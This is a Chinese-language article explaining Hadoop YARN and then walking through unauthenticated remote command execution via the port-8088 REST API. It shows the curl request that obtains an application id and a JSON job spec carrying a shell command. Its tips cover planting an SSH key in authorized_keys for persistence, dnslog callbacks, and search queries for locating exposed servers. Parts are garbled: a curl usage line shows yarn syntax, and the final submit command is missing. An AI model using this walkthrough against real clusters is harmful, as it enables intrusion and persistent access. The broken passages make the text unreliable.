hadoop漏洞_⼤数据-浅析Hadoop命令执⾏漏洞
Hadoop 介绍和漏洞原理
Hadoop是⼀个由Apache的分布式系统基础架构,⽤户可开发分布式程序,充分利⽤集的威⼒进⾏⾼速运算和存储,实现了⼀个分布式⽂件系统(Hadoop Distributed File System)。
其中HDFS组件有⾼容错性的特点,并且部署在低廉的(low-cost)硬件上即可提供⾼吞吐量(high throughput)来访问应⽤程序的数据。
Apache Yarn(Yet Another Resource Negotiator的缩写)是hadoop集资源管理器系统,Yarn从hadoop 2引⼊,最初是为了改善MapReduce的实现,但是它具有通⽤性,同样执⾏其他分布式计算模式。
ApplicationMaster负责与scheduler协商合适的container,跟踪应⽤程序的状态,以及监控它们的进度,ApplicationMaster是协调集中应⽤程序执⾏的进程。每个应⽤程序都有⾃⼰的ApplicationMaster,负责与ResourceManager协商资源(container)和NodeManager协同⼯作来执⾏和监控任务 。
当⼀个ApplicationMaster启动后,会周期性的向resourcemanager发送⼼跳报告来确认其健康和所需的资源情况,在建好的需求模型中,ApplicationMaster在发往resourcemanager中的⼼跳信息中封装偏好和限制,在随后的⼼跳中,ApplicationMaster会对收到集中特定节点上绑定了⼀定的资源的container
的租约,根据Resourcemanager发来的container,ApplicationMaster可以更新它的执⾏计划以适应资源不⾜或者过剩,container可以动态的分配和释放资源。
与job相关的命令:
1.查看 Job 信息:hadoop job -list
2.杀掉 Job: hadoop job –kill job_id
3.作业的更多细节: hadoop job -history all output-dir
4.杀死任务。被杀死的任务不会不利于失败尝试:hadoop jab -kill-task
5.使任务失败。被失败的任务会对失败尝试不利:hadoop job -fail-task
YARN 命令:
YARN命令是调⽤bin/yarn脚本⽂件,如果运⾏yarn脚本没有带任何参数,则会打印yarn所有命令的描述。
curl命令发送post请求带参数使⽤: yarn [--config confdir] COMMAND [--loglevel loglevel] [GENERIC_OPTIONS] [COMMAND_OP
TIONS]
application使⽤: yarn application [options]
运⾏jar⽂件
⽤户可以将写好的YARN代码打包成jar⽂件,⽤这个命令去运⾏它:
yarn jar [mainClass]
RCE 实现
使⽤ROOT权限启动的Hadoop服务可根据在服务器8088端⼝接收⽤户提交的POST数据,根据其中参数执⾏相关job,具体实现如下:8088端⼝的Applications manager:
1. 申请新的application,直接通过curl进⾏POST请求:
curl -v -X POST 'ip:8088/ws/v1/cluster/apps/new-application'
返回内容类似于:
{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}
2. 构造并提交任务
构造json⽂件1.json,内容如下,其中application-id对应上⾯得到的id,命令内容为尝试在/var/tmp⽬录下创建test_1⽂件,内容也为111:
{
"am-container-spec":{
"commands":{
"command":"echo '111' >> /var/tmp/test_1"
}
},
"application-id":"application_1527144634877_20465",
"application-name":"test",
"application-type":"YARN"
}
然后直接使⽤curl发送数据:
即可完成攻击,命令被执⾏,在相应⽬录下可以看到⽣成了对应⽂件,在8088端⼝Web界⾯可看到相关信息:
技巧:
1 可配合ceye、dnslog测试命令执⾏结果,或在/home/user/.ssh/authorized_keys中写⼊公钥。
2 搜索开放服务:title="All Applications"
或者port=50070
但此⽅式有三点限制:
1 服务需管理员权限启动,执⾏命令也是管理员权限执⾏,普通⽤户五相关命令权限只会有失败记录,命令最终执⾏失败,留下难以删除的攻击记录。
2 Hadoop的8088管理端⼝若使⽤了权限认证,会提⽰
AuthorizationException:"message":"Unable to obtain user name, user not authenticated。
3 master+slave节点数⼤于等于2,job任务会根据hadoop分布式机制提交到任⼀台节点处理,⽬前笔者还未到指定namenode的⽅法。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。